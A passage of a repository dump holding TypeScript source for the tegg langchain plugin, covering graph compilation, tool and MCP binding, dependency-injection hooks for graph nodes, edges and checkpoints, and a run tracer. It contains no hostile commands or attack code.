const langGraphTraceObj = await EggContainerFactory.getOrCreateEggObjectFromName('langGraphTracer');\n    const tracer = langGraphTraceObj.obj as LangGraphTracer;\n    tracer.setName(this.graphName);\n    graph.stream = (input: any, config?: any) => this.wrapGraphMethod(originalStream.bind(graph), input, config);\n\n    this.status = EggObjectStatus.READY;\n  }\n\n  async build(): Promise<any> {\n    const stateGraph = await EggContainerFactory.getOrCreateEggObjectFromName(this.graphName);\n    await this.boundNodes(stateGraph);\n    await this.boundEdges(stateGraph);\n    const graphObj = stateGraph.obj as IGraph<any, any>;\n    const checkpoint = this.graphMetadata.checkpoint;\n    let compileGraph;\n    if (checkpoint) {\n      let checkpointObj: EggObject;\n      if (typeof checkpoint !== 'string') {\n        checkpointObj = await EggContainerFactory.getOrCreateEggObjectFromClazz(checkpoint);\n      } else {\n        checkpointObj = await EggContainerFactory.getOrCreateEggObjectFromName(ChatCheckpointSaverInjectName, [\n          {\n            attribute: ChatCheckpointSaverQualifierAttribute,\n            value: checkpoint,\n          },\n        ]);\n      }\n      compileGraph = graphObj.compile({\n        checkpointer: checkpointObj.obj as BaseCheckpointSaver as any,\n      });\n    } else {\n      compileGraph = graphObj.compile();\n    }\n    return compileGraph;\n  }\n\n  async boundNodes(stateGraph: EggObject): Promise<void> {\n    const graphObj = stateGraph.obj as IGraph<any, any>;\n    const nodes = this.graphMetadata.nodes ?? [];\n    for (let i = 0; i < nodes.length; i++) {\n      const node = await EggContainerFactory.getOrCreateEggObjectFromClazz(nodes[i]);\n      const nodeObj = node.obj as unknown as IGraphNode<any>;\n      const nodeMetadata = node.proto.getMetaData<GraphNodeMetadata>(GRAPH_NODE_METADATA);\n      if (nodeMetadata) {\n        if (TeggToolNode.prototype.isPrototypeOf(nodeObj)) {\n          graphObj.addNode(nodeMetadata.nodeName, (nodeObj as unknown as TeggToolNode).toolNode);\n        } else {\n          graphObj.addNode(nodeMetadata.nodeName, nodeObj.execute.bind(nodeObj), nodeObj.options);\n        }\n      }\n    }\n  }\n\n  async boundEdges(stateGraph: EggObject): Promise<void> {\n    const graphObj = stateGraph.obj as IGraph<any, any>;\n    const edges = this.graphMetadata.edges ?? [];\n    for (let i = 0; i < edges.length; i++) {\n      const edge = await EggContainerFactory.getOrCreateEggObjectFromClazz(edges[i]);\n      const edgeObj = edge.obj as unknown as IGraphEdge<any>;\n      const edgeMetadata = edge.proto.getMetaData<GraphEdgeMetadata>(GRAPH_EDGE_METADATA);\n      if (edgeMetadata) {\n        if (edgeObj.execute) {\n          graphObj.addConditionalEdges(\n            edgeMetadata.fromNodeName,\n            edgeObj.execute.bind(edgeObj),\n            edgeMetadata.toNodeNames,\n          );\n        } else {\n          graphObj.addEdge(edgeMetadata.fromNodeName, edgeMetadata.toNodeNames[0]);\n        }\n      }\n    }\n  }\n\n  /**\n   * 包装 graph 方法，添加 tracing\n   */\n  async wrapGraphMethod(\n    originalMethod: (input: any, config?: any) => Promise<any>,\n    input: any,\n    config?: any,\n  ): Promise<any> {\n    // 确保 config 对象存在\n    const finalConfig = config || {};\n\n    // 准备 tracer\n    const shouldTrace = finalConfig.tags?.includes('trace-log');\n    if (shouldTrace) {\n      const langGraphTraceObj = await EggContainerFactory.getOrCreateEggObjectFromClazz(LangGraphTracer);\n      const tracer = langGraphTraceObj.obj as LangGraphTracer;\n      tracer.setName(this.graphName);\n\n      finalConfig.callbacks = [tracer, ...(finalConfig.callbacks || [])];\n    }\n\n    // 设置 runId\n    if (!finalConfig.runId) {\n      const trace = await this.getTracer();\n      finalConfig.runId = trace?.traceId;\n    }\n\n    return await originalMethod(input, finalConfig);\n  }\n\n  async getTracer(): Promise<any> {\n    const ctx = ContextHandler.getContext()!.get(EGG_CONTEXT);\n    return ctx.tracer;\n  }\n\n  injectProperty(): never {\n    throw new Error('never call GraphObject#injectProperty');\n  }\n\n  get isReady(): boolean {\n    return this.status === EggObjectStatus.READY;\n  }\n\n  get obj(): object {\n    return this._obj;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<CompiledStateGraphObject> {\n    const compiledStateGraphObject = new CompiledStateGraphObject(name, proto as unknown as CompiledStateGraphProto);\n    await compiledStateGraphObject.init();\n    return compiledStateGraphObject;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/CompiledStateGraphProto.ts",
    "content": "import type { GraphMetadata } from '@eggjs/langchain-decorator';\nimport type { EggPrototype, LoadUnit } from '@eggjs/metadata';\nimport { AccessLevel, ObjectInitType, IdenticalUtil } from '@eggjs/tegg';\nimport type { EggPrototypeName, QualifierInfo, Id, QualifierAttribute, QualifierValue } from '@eggjs/tegg';\nimport type { InjectObjectProto } from '@eggjs/tegg-types';\n\nexport class CompiledStateGraphProto implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n  private readonly qualifiers: QualifierInfo[];\n  readonly accessLevel: AccessLevel = AccessLevel.PUBLIC;\n  id: Id;\n  readonly initType: ObjectInitType = ObjectInitType.SINGLETON;\n  readonly injectObjects: InjectObjectProto[] = [];\n  loadUnitId: string;\n  readonly name: EggPrototypeName;\n  readonly graphMetadata: GraphMetadata;\n  readonly graphName: string;\n\n  constructor(loadUnit: LoadUnit, protoName: string, graphName: string, graphMetadata: GraphMetadata) {\n    this.loadUnitId = loadUnit.id;\n    this.qualifiers = [];\n    this.name = protoName;\n    this.graphMetadata = graphMetadata;\n    this.graphName = graphName;\n    this.id = IdenticalUtil.createProtoId(loadUnit.id, protoName);\n  }\n\n  constructEggObject(): object {\n    return {};\n  }\n\n  getMetaData<T>(_metadataKey?: any): T | undefined {\n    // TODO set default metadata\n    return;\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  getQualifier(attribute: QualifierAttribute): QualifierValue | undefined {\n    const qualifier = this.qualifiers.find((t) => t.attribute === attribute);\n    return qualifier?.value;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/GraphBuildHook.ts",
    "content": "import { AbstractStateGraph } from '@eggjs/langchain-decorator';\nimport { ClassProtoDescriptor, GlobalGraph } from '@eggjs/metadata';\n\nimport { LangGraphTracer } from '../tracing/LangGraphTracer.ts';\n\nexport function GraphBuildHook(globalGraph: GlobalGraph): void {\n  let langchainGraphTracerProtoNode;\n  for (const moduleNode of globalGraph.moduleGraph.nodes.values()) {\n    for (const protoNode of moduleNode.val.protos) {\n      if (\n        (protoNode.val.proto as ClassProtoDescriptor)?.clazz &&\n        (LangGraphTracer.isPrototypeOf((protoNode.val.proto as ClassProtoDescriptor).clazz) ||\n          (protoNode.val.proto as ClassProtoDescriptor).clazz === LangGraphTracer)\n      ) {\n        langchainGraphTracerProtoNode = protoNode;\n      }\n    }\n  }\n\n  for (const moduleNode of globalGraph.moduleGraph.nodes.values()) {\n    for (const protoNode of moduleNode.val.protos) {\n      if (\n        (protoNode.val.proto as ClassProtoDescriptor)?.clazz &&\n        AbstractStateGraph.isPrototypeOf((protoNode.val.proto as ClassProtoDescriptor).clazz)\n      ) {\n        globalGraph.addInject(\n          moduleNode,\n          protoNode,\n          langchainGraphTracerProtoNode!,\n          langchainGraphTracerProtoNode!.val.proto.name,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/GraphLoadUnitHook.ts",
    "content": "import assert from 'node:assert';\n\nimport { GraphInfoUtil, GraphToolInfoUtil } from '@eggjs/langchain-decorator';\nimport type { IGraphMetadata, IGraphTool, IGraphToolMetadata } from '@eggjs/langchain-decorator';\nimport { EggPrototypeCreatorFactory, EggPrototypeFactory, ProtoDescriptorHelper } from '@eggjs/metadata';\nimport type { ClassProtoDescriptor, EggPrototypeWithClazz, LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\nimport { AccessLevel, LifecyclePostInject, MCPInfoUtil, SingletonProto } from '@eggjs/tegg';\nimport type { EggProtoImplClass, LifecycleHook } from '@eggjs/tegg';\nimport { NameUtil } from '@eggjs/tegg-common-util';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport { DynamicStructuredTool } from 'langchain';\nimport * as z from 'zod/v4';\n\nimport { CompiledStateGraphProto } from './CompiledStateGraphProto.ts';\n\nexport class GraphLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly eggPrototypeFactory: EggPrototypeFactory;\n  clazzMap: Map<EggProtoImplClass, IGraphMetadata>;\n  graphCompiledNameMap: Map<string, CompiledStateGraphProto> = new Map();\n  tools: Map<EggProtoImplClass, IGraphToolMetadata>;\n\n  constructor(eggPrototypeFactory: EggPrototypeFactory) {\n    this.eggPrototypeFactory = eggPrototypeFactory;\n    this.clazzMap = GraphInfoUtil.getAllGraphMetadata();\n    this.tools = GraphToolInfoUtil.getAllGraphToolMetadata();\n  }\n\n  async preCreate(ctx: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    const clazzList = await ctx.loader.load();\n    for (const clazz of clazzList) {\n      const meta = this.clazzMap.get(clazz as EggProtoImplClass);\n      if (meta) {\n        const protoName = NameUtil.getClassName(clazz);\n        const graphMetadata = GraphInfoUtil.getGraphMetadata(clazz as EggProtoImplClass);\n        assert(graphMetadata, `${clazz.name} graphMetadata should not be null`);\n        const proto = new CompiledStateGraphProto(\n          loadUnit,\n          `compiled${protoName.replace(protoName[0], protoName[0].toUpperCase())}`,\n          protoName,\n          graphMetadata,\n        );\n        this.eggPrototypeFactory.registerPrototype(proto as any, loadUnit);\n        this.graphCompiledNameMap.set(protoName, proto);\n      }\n      const toolMeta = this.tools.get(clazz as EggProtoImplClass);\n      if (toolMeta) {\n        const StructuredTool = this.createStructuredTool(clazz, toolMeta);\n        const protoDescriptor = ProtoDescriptorHelper.createByInstanceClazz(StructuredTool, {\n          moduleName: loadUnit.name,\n          unitPath: loadUnit.unitPath,\n        }) as ClassProtoDescriptor;\n        const proto = await EggPrototypeCreatorFactory.createProtoByDescriptor(protoDescriptor, loadUnit);\n        this.eggPrototypeFactory.registerPrototype(proto, loadUnit);\n      }\n    }\n  }\n\n  createStructuredTool(clazz: EggProtoImplClass, toolMeta: IGraphToolMetadata): EggProtoImplClass {\n    class StructuredTool {\n      @LifecyclePostInject()\n      async init() {\n        const toolsObj = await EggContainerFactory.getOrCreateEggObjectFromClazz(clazz);\n        const toolMetadata = GraphToolInfoUtil.getGraphToolMetadata(\n          (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n        );\n        const ToolDetail = MCPInfoUtil.getMCPToolArgsIndex(\n          (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n          'execute',\n        );\n        if (toolMetadata && ToolDetail) {\n          const tool = new DynamicStructuredTool({\n            description: toolMetadata.description,\n            name: toolMetadata.toolName,\n            func: (toolsObj.obj as unknown as IGraphTool<any>).execute.bind(toolsObj.obj) as any,\n            schema: z.object(ToolDetail.argsSchema) as any,\n          });\n          Object.setPrototypeOf(this, tool);\n        } else {\n          throw new Error(`graph tool ${toolMeta.name ?? clazz.name} not found`);\n        }\n      }\n    }\n    SingletonProto({ name: `structured${toolMeta.name ?? clazz.name}`, accessLevel: AccessLevel.PUBLIC })(\n      StructuredTool,\n    );\n    return StructuredTool;\n  }\n\n  async postCreate(_ctx: LoadUnitLifecycleContext, obj: LoadUnit): Promise<void> {\n    for (const graphName of this.graphCompiledNameMap.keys()) {\n      const graphProto = obj.getEggPrototype(graphName, [])[0];\n      if (graphProto) {\n        const compiledGraphProto = this.graphCompiledNameMap.get(graphName) as CompiledStateGraphProto;\n        if (!compiledGraphProto.injectObjects.find((injectObject) => injectObject.objName === graphProto.name)) {\n          compiledGraphProto.injectObjects.push({\n            refName: 'stateGraph',\n            objName: graphProto.name,\n            qualifiers: [],\n            proto: graphProto,\n          });\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/GraphObjectHook.ts",
    "content": "import {\n  ChatModelInjectName,\n  ChatModelQualifierAttribute,\n  GRAPH_NODE_METADATA,\n  TeggToolNode,\n  GraphToolInfoUtil,\n} from '@eggjs/langchain-decorator';\nimport type { IGraphNode, IGraphTool, GraphNodeMetadata } from '@eggjs/langchain-decorator';\nimport { MCPClientInjectName, MCPClientQualifierAttribute } from '@eggjs/mcp-client';\nimport { MCPInfoUtil } from '@eggjs/tegg';\nimport type { LifecycleHook } from '@eggjs/tegg';\nimport { EggContainerFactory } from '@eggjs/tegg/helper';\nimport type { EggObjectLifeCycleContext, EggObject, EggPrototypeWithClazz } from '@eggjs/tegg/helper';\nimport { ToolNode } from '@langchain/langgraph/prebuilt';\nimport { loadMcpTools } from '@langchain/mcp-adapters';\nimport { DynamicStructuredTool } from 'langchain';\nimport { ConfigurableModel } from 'langchain/chat_models/universal';\nimport * as z from 'zod/v4';\n\nclass GraphNodeHandler {\n  nodeMetadata: GraphNodeMetadata;\n  eggObject: EggObject;\n\n  constructor(nodeMetadata: GraphNodeMetadata, eggObject: EggObject) {\n    this.nodeMetadata = nodeMetadata;\n    this.eggObject = eggObject;\n  }\n\n  async findGraphTools() {\n    const tools = this.nodeMetadata.tools ?? [];\n    let dTools: Parameters<ConfigurableModel['bindTools']>['0'] = [];\n    for (let i = 0; i < tools.length; i++) {\n      const toolsObj = await EggContainerFactory.getOrCreateEggObjectFromClazz(tools[i]);\n      const toolMetadata = GraphToolInfoUtil.getGraphToolMetadata(\n        (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n      );\n      const ToolDetail = MCPInfoUtil.getMCPToolArgsIndex(\n        (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n        'execute',\n      );\n      if (toolMetadata && ToolDetail) {\n        const tool = new DynamicStructuredTool({\n          description: toolMetadata.description,\n          name: toolMetadata.toolName,\n          func: (toolsObj.obj as unknown as IGraphTool<any>).execute.bind(toolsObj.obj) as any,\n          schema: z.object(ToolDetail.argsSchema) as any,\n        });\n        dTools = dTools.concat(tool);\n      }\n    }\n\n    return dTools;\n  }\n\n  async findMcpServerTools() {\n    const mcpServers = this.nodeMetadata.mcpServers ?? [];\n    let sTools: Parameters<ConfigurableModel['bindTools']>['0'] = [];\n    for (let i = 0; i < mcpServers.length; i++) {\n      const mcpClientObj = await EggContainerFactory.getOrCreateEggObjectFromName(MCPClientInjectName, [\n        {\n          attribute: MCPClientQualifierAttribute,\n          value: mcpServers[i],\n        },\n      ]);\n      const tool = await loadMcpTools(mcpServers[i], mcpClientObj.obj as any, {\n        throwOnLoadError: true,\n        prefixToolNameWithServerName: false,\n        additionalToolNamePrefix: '',\n      });\n      sTools = sTools.concat(tool);\n    }\n    return sTools;\n  }\n\n  async boundTools() {\n    const nodeObj = this.eggObject.obj as IGraphNode<any>;\n    const dTools = await this.findGraphTools();\n    const sTools = await this.findMcpServerTools();\n\n    if (TeggToolNode.prototype.isPrototypeOf(nodeObj)) {\n      const toolNode = new ToolNode([...(dTools as DynamicStructuredTool[]), ...(sTools as DynamicStructuredTool[])]);\n      Object.defineProperty(nodeObj, 'toolNode', {\n        get: () => toolNode,\n      });\n      return;\n    }\n\n    // 如果用户写了 build 方法，则让他自己绑定\n    if (nodeObj.build) {\n      nodeObj.build!([...dTools, ...sTools]);\n    } else {\n      // 否则自动绑定\n      const injectObjects = this.eggObject.proto.injectObjects;\n      for (let i = 0; i < injectObjects.length; i++) {\n        const injectObject = injectObjects[i];\n        const qualifiers = injectObject.qualifiers;\n        for (let j = 0; j < qualifiers.length; j++) {\n          const qualifier = qualifiers[j];\n          if (qualifier.attribute === ChatModelQualifierAttribute) {\n            // 找到当前 eggObject 上的 chatModel\n            const chatModelObj = await EggContainerFactory.getOrCreateEggObjectFromName(ChatModelInjectName, [\n              {\n                attribute: ChatModelQualifierAttribute,\n                value: qualifier.value,\n              },\n            ]);\n            const chatModel = chatModelObj.obj as ConfigurableModel;\n            // 绑定\n            const boundChatModel = chatModel.bindTools([...dTools, ...sTools]);\n            // 劫持\n            Object.defineProperty(nodeObj, injectObject.objName, {\n              get: () => boundChatModel,\n            });\n          }\n        }\n      }\n    }\n  }\n}\n\nexport class GraphObjectHook implements LifecycleHook<EggObjectLifeCycleContext, EggObject> {\n  async postCreate(_: EggObjectLifeCycleContext, eggObject: EggObject): Promise<void> {\n    const nodeMetadata = eggObject.proto.getMetaData<GraphNodeMetadata>(GRAPH_NODE_METADATA);\n    // 找到 graph node\n    if (nodeMetadata) {\n      const handler = new GraphNodeHandler(nodeMetadata, eggObject);\n      await handler.boundTools();\n      return;\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/GraphPrototypeHook.ts",
    "content": "import {\n  ChatCheckpointSaverInjectName,\n  ChatCheckpointSaverQualifierAttribute,\n  GraphEdgeInfoUtil,\n  GraphInfoUtil,\n  GraphNodeInfoUtil,\n  GraphToolInfoUtil,\n} from '@eggjs/langchain-decorator';\nimport { MCPClientInjectName, MCPClientQualifierAttribute } from '@eggjs/mcp-client';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport type { EggProtoImplClass, LifecycleHook } from '@eggjs/tegg';\nimport { BaseCheckpointSaver } from '@langchain/langgraph';\n\nexport class GraphPrototypeHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  toolProtoMap: Map<EggProtoImplClass, EggPrototype> = new Map();\n  nodeProtoMap: Map<EggPrototype, EggProtoImplClass[]> = new Map();\n  nodeMcpServerProtoMap: Map<EggPrototype, string[]> = new Map();\n  mcpServerProto: EggPrototype;\n\n  checkPointProto: EggPrototype;\n  checkPointList: EggProtoImplClass[] = [];\n  checkPointProtoMap: Map<EggProtoImplClass, EggPrototype> = new Map();\n  checkPointGraphMap: Map<EggProtoImplClass, EggPrototype[]> = new Map();\n  graphCheckpointProtoMap: Map<EggPrototype, string> = new Map();\n\n  graphNodeProtoMap: Map<EggPrototype, EggProtoImplClass[]> = new Map();\n  nodeProto: Map<EggProtoImplClass, EggPrototype> = new Map();\n\n  graphEdgeProtoMap: Map<EggPrototype, EggProtoImplClass[]> = new Map();\n  edgeProto: Map<EggProtoImplClass, EggPrototype> = new Map();\n\n  async postCreate(ctx: EggPrototypeLifecycleContext, proto: EggPrototype): Promise<void> {\n    await this.makeNodeDependencies(ctx, proto);\n    await this.makeGraphDependencies(ctx, proto);\n  }\n\n  async makeNodeDependencies(ctx: EggPrototypeLifecycleContext, proto: EggPrototype): Promise<void> {\n    const nodeMetadata = GraphNodeInfoUtil.getGraphNodeMetadata(ctx.clazz);\n    if (nodeMetadata) {\n      const tools = nodeMetadata.tools ?? [];\n      // 找到所有已经创建好的 tool proto\n      for (let i = 0; i < tools.length; i++) {\n        if (this.toolProtoMap.has(tools[i])) {\n          const toolProto = this.toolProtoMap.get(tools[i])!;\n          proto.injectObjects.push({\n            refName: `__GRAPH_TOOL_${String(toolProto.name)}__`,\n            objName: toolProto.name,\n            qualifiers: [],\n            proto: toolProto,\n          });\n        }\n      }\n\n      const mcpServers = nodeMetadata.mcpServers ?? [];\n      if (this.mcpServerProto) {\n        for (let i = 0; i < mcpServers.length; i++) {\n          proto.injectObjects.push({\n            refName: `__GRAPH_MCPSERVER_${String(mcpServers[i])}__`,\n            objName: MCPClientInjectName,\n            qualifiers: [\n              {\n                attribute: MCPClientQualifierAttribute,\n                value: mcpServers[i],\n              },\n            ],\n            proto: this.mcpServerProto,\n          });\n        }\n      }\n\n      // 存入 nodeProtoMap，等 tool 创建好了再注入\n      this.nodeProtoMap.set(proto, tools);\n      // 存入 nodeMcpServerProtoMap，等 mcpServer 创建好了再注入\n      this.nodeMcpServerProtoMap.set(proto, mcpServers);\n    }\n\n    const toolMetadata = GraphToolInfoUtil.getGraphToolMetadata(ctx.clazz);\n    if (toolMetadata) {\n      // 注入到所有用到这个 tool 的 node 上\n      for (const [nodeProto, toolClazzList] of this.nodeProtoMap.entries()) {\n        if (toolClazzList.includes(ctx.clazz)) {\n          nodeProto.injectObjects.push({\n            refName: `__GRAPH_TOOL_${String(proto.name)}__`,\n            objName: proto.name,\n            qualifiers: [],\n            proto,\n          });\n        }\n      }\n      // 记录已经创建好的 tool proto，以便后续 node 注入\n      this.toolProtoMap.set(ctx.clazz, proto);\n    }\n\n    if (proto.name === MCPClientInjectName) {\n      this.mcpServerProto = proto;\n      // 注入到所有用到 mcpServer 的 node 上\n      for (const [nodeProto, mcpServers] of this.nodeMcpServerProtoMap.entries()) {\n        for (let i = 0; i < mcpServers.length; i++) {\n          nodeProto.injectObjects.push({\n            refName: `__GRAPH_MCPSERVER_${String(mcpServers[i])}__`,\n            objName: MCPClientInjectName,\n            qualifiers: [\n              {\n                attribute: MCPClientQualifierAttribute,\n                value: mcpServers[i],\n              },\n            ],\n            proto,\n          });\n        }\n      }\n    }\n  }\n\n  async makeGraphDependencies(ctx: EggPrototypeLifecycleContext, proto: EggPrototype): Promise<void> {\n    const graphMetadata = GraphInfoUtil.getGraphMetadata(ctx.clazz);\n    if (graphMetadata) {\n      if (graphMetadata.checkpoint) {\n        // module.yml ChatCheckpointSaver\n        if (typeof graphMetadata.checkpoint === 'string') {\n          // 如果 ChatCheckpointSaver 已经创建好了，则直接注入\n          if (this.checkPointProto) {\n            proto.injectObjects.push({\n              refName: 'checkpoint',\n              objName: ChatCheckpointSaverInjectName,\n              qualifiers: [\n                {\n                  attribute: ChatCheckpointSaverQualifierAttribute,\n                  value: graphMetadata.checkpoint,\n                },\n              ],\n              proto: this.checkPointProto,\n            });\n          }\n\n          // 如果没有创建好，则记录下来，等 ChatCheckpointSaver 创建好了再注入\n          this.graphCheckpointProtoMap.set(proto, graphMetadata.checkpoint);\n        } else {\n          // 用户自己编写的 CheckpointSaver class\n          if (this.checkPointProtoMap.has(graphMetadata.checkpoint)) {\n            // 如果已经创建好了，则直接注入\n            const checkPointProto = this.checkPointProtoMap.get(graphMetadata.checkpoint)!;\n            proto.injectObjects.push({\n              refName: 'checkpoint',\n              objName: checkPointProto.name,\n              qualifiers: [],\n              proto: checkPointProto,\n            });\n          }\n\n          // 如果没有创建好，则记录下来，等 CheckpointSaver 创建好了再注入\n          this.checkPointList.push(graphMetadata.checkpoint);\n          if (this.checkPointGraphMap.has(graphMetadata.checkpoint)) {\n            this.checkPointGraphMap.get(graphMetadata.checkpoint)!.push(proto);\n          } else {\n            this.checkPointGraphMap.set(graphMetadata.checkpoint, [proto]);\n          }\n        }\n\n        this.graphNodeProtoMap.set(proto, []);\n        this.graphEdgeProtoMap.set(proto, []);\n\n        // 将所有 node 注入到 graph 上\n        for (const nodeProto of graphMetadata.nodes ?? []) {\n          // 如果有，则是扫描过了，直接注入\n          if (this.nodeProto.has(nodeProto)) {\n            proto.injectObjects.push({\n              refName: `__GRAPH_NODE_${String(nodeProto)}__`,\n              objName: nodeProto.name,\n              qualifiers: [],\n              proto: this.nodeProto.get(nodeProto)!,\n            });\n          } else {\n            // 如果没有，记录下来，等 node 创建好了再注入\n            this.graphNodeProtoMap.get(proto)!.push(nodeProto);\n          }\n        }\n\n        // 将所有 edge 注入到 graph 上\n        for (const edgeProto of graphMetadata.edges ?? []) {\n          // 如果有，则是扫描过了，直接注入\n          if (this.edgeProto.has(edgeProto)) {\n            proto.injectObjects.push({\n              refName: `__GRAPH_EDGE_${String(edgeProto)}__`,\n              objName: edgeProto.name,\n              qualifiers: [],\n              proto: this.edgeProto.get(edgeProto)!,\n            });\n          } else {\n            // 如果没有，记录下来，等 edge 创建好了再注入\n            this.graphEdgeProtoMap.get(proto)!.push(edgeProto);\n          }\n        }\n      }\n    }\n\n    // 此时创建的是 ChatCheckpointSaver\n    if (proto.name === ChatCheckpointSaverInjectName) {\n      this.checkPointProto = proto;\n      // 注入到所有用到 checkpoint 的 graph 上\n      for (const [graphProto, checkpoint] of this.graphCheckpointProtoMap.entries()) {\n        if (checkpoint === graphMetadata?.checkpoint) {\n          if (!graphProto.injectObjects.find((injectObject) => injectObject.refName === 'checkpoint')) {\n            continue;\n          }\n          graphProto.injectObjects.push({\n            refName: 'checkpoint',\n            objName: ChatCheckpointSaverInjectName,\n            qualifiers: [\n              {\n                attribute: ChatCheckpointSaverQualifierAttribute,\n                value: checkpoint,\n              },\n            ],\n            proto,\n          });\n        }\n      }\n    }\n\n    // 此时创建的是用户自定义的 BaseCheckpointSaver 的子类\n    if (BaseCheckpointSaver.isPrototypeOf(ctx.clazz)) {\n      // 如果有 graph 依赖这个 CheckpointSaver，则注入\n      const graphProto = this.checkPointGraphMap.get(ctx.clazz) ?? [];\n      for (let i = 0; i < graphProto.length; i++) {\n        if (!graphProto[i].injectObjects.find((injectObject) => injectObject.refName === 'checkpoint')) {\n          continue;\n        }\n        graphProto[i].injectObjects.push({\n          refName: 'checkpoint',\n          objName: proto.name,\n          qualifiers: [],\n          proto,\n        });\n      }\n      this.checkPointProtoMap.set(ctx.clazz, proto);\n    }\n\n    // 此时创建的是 graph node\n    const nodeMeta = GraphNodeInfoUtil.getGraphNodeMetadata(ctx.clazz);\n    if (nodeMeta) {\n      this.nodeProto.set(ctx.clazz, proto);\n      // 注入到所有依赖这个 graph node 的 graph\n      for (const [graphProto, nodeProtos] of this.graphNodeProtoMap.entries()) {\n        if (nodeProtos.includes(ctx.clazz)) {\n          if (\n            graphProto.injectObjects.find(\n              (injectObject) => injectObject.refName === `__GRAPH_NODE_${String(ctx.clazz)}__`,\n            )\n          ) {\n            continue;\n          }\n          graphProto.injectObjects.push({\n            refName: `__GRAPH_NODE_${String(ctx.clazz)}__`,\n            objName: proto.name,\n            qualifiers: [],\n            proto,\n          });\n        }\n      }\n    }\n\n    // 此时创建的是 graph edge\n    const edgeMeta = GraphEdgeInfoUtil.getGraphEdgeMetadata(ctx.clazz);\n    if (edgeMeta) {\n      this.edgeProto.set(ctx.clazz, proto);\n      // 注入到所有依赖这个 graph edge 的 graph\n      for (const [graphProto, edgeProtos] of this.graphEdgeProtoMap.entries()) {\n        if (edgeProtos.includes(ctx.clazz)) {\n          if (\n            graphProto.injectObjects.find(\n              (injectObject) => injectObject.refName === `__GRAPH_EDGE_${String(ctx.clazz)}__`,\n            )\n          ) {\n            continue;\n          }\n          graphProto.injectObjects.push({\n            refName: `__GRAPH_EDGE_${String(ctx.clazz)}__`,\n            objName: proto.name,\n            qualifiers: [],\n            proto,\n          });\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/tracing/LangGraphTracer.ts",
    "content": "import { SingletonProto, Inject, AccessLevel } from '@eggjs/tegg';\nimport type { Logger } from '@eggjs/tegg';\n// eslint-disable-next-line @typescript-eslint/ban-ts-comment\n// @ts-ignore\nimport { BaseTracer, Run } from '@langchain/core/tracers/base';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class LangGraphTracer extends BaseTracer {\n  @Inject()\n  logger: Logger;\n\n  name: string = 'LangGraphTracer';\n\n  setName(name: string): void {\n    this.name = name;\n  }\n\n  protected persistRun(run: Run): Promise<void> {\n    this.logger.info(`[agent_run][${this.name}]:traceId=${run.trace_id},run=${JSON.stringify(run)}`);\n    return Promise.resolve(undefined);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/util.ts",
    "content": "import assert from 'node:assert';\n\nimport { ChatModelQualifierAttribute } from '@eggjs/langchain-decorator';\nimport type { ObjectInfo, ModuleConfig } from '@eggjs/tegg';\n\nexport type ConfigTypeHelper = any;\n\nexport function getClientNames(config: ModuleConfig | undefined, key: string): string[] {\n  const clients = (config as any)?.[key]?.clients;\n  if (!clients) return [];\n  return Object.keys(clients);\n}\n\nexport function getChatModelConfig(config: ModuleConfig, objectInfo: ObjectInfo): any {\n  const chatModelName = objectInfo.qualifiers.find((t) => t.attribute === ChatModelQualifierAttribute)?.value;\n  assert(chatModelName, 'not found ChatModel name');\n  const chatModelConfig = (config as any).ChatModel?.clients[chatModelName];\n  if (!chatModelConfig) {\n    throw new Error(`not found ChatModel config for ${chatModelName}`);\n  }\n  return chatModelConfig!;\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/app/modules/bar/controller/AppController.ts",
    "content": "import {\n  ChatModelQualifier,\n  IGraphStructuredTool,\n  TeggBoundModel,\n  TeggCompiledStateGraph,\n} from '@eggjs/langchain-decorator';\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, Inject } from '@eggjs/tegg';\nimport { AIMessage } from 'langchain';\n\nimport { ChatOpenAIModel } from '../../../../../../../../src/lib/ChatOpenAI.ts';\nimport { BoundChatModel } from '../service/BoundChatModel';\nimport { FooGraph, FooTool } from '../service/Graph';\n\n@HTTPController({\n  path: '/llm',\n})\nexport class AppController {\n  @Inject()\n  @ChatModelQualifier('chat')\n  chatModel: ChatOpenAIModel;\n\n  @Inject()\n  boundChatModel: TeggBoundModel<BoundChatModel>;\n\n  @Inject()\n  compiledFooGraph: TeggCompiledStateGraph<FooGraph>;\n\n  @Inject()\n  structuredFooTool: IGraphStructuredTool<FooTool>;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello',\n  })\n  async hello() {\n    const res = await this.chatModel.invoke('hello');\n    return res;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/bound-chat',\n  })\n  async boundChat() {\n    const res = await this.boundChatModel.invoke('hello');\n    return res;\n  }\n\n  @HTTPMethod({ method: 